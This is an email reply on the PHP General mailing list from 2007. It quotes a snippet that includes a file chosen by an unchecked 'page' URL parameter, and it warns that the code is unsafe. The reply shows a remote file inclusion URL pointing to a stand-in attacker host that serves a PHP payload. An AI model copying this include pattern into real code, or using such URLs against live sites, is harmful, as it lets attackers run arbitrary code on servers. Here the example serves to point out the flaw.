> Date: Thu, 15 Nov 2007 00:20:52 +0000 > From: stuttle@xxxxxxxxx > To: philthathril@xxxxxxxxx > CC: php-general@xxxxxxxxxxxxx > Subject: Re: file_exists > > Philip Thompson wrote: >> I've run into similar problems where I *thought* I was looking in the >> correct location... but I wasn't. Take this for example.... >> >> > $page = $_GET['page']; >> if (file_exists ("$page.php")) { >> include ("$page.php"); >> } >> ?> > > I really hope this is not a piece of production code. If it is then you > might want to think very hard about what it's doing. If you still can't > see a problem let me know! > > -Stut > > -- > http://stut.net/ > > -- > PHP General Mailing List (http://www.php.net/) > To unsubscribe, visit: http://www.php.net/unsub.php > Called like this? index.php?page=http://evil-hacker-site.com/evil-payload.php And the browser will probably url_encode for me if needed. _________________________________________________________________ Climb to the top of the charts! Play Star Shuffle: the word scramble challenge with star power. http://club.live.com/star_shuffle.aspx?icid=starshuffle_wlmailtextlink_oct -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php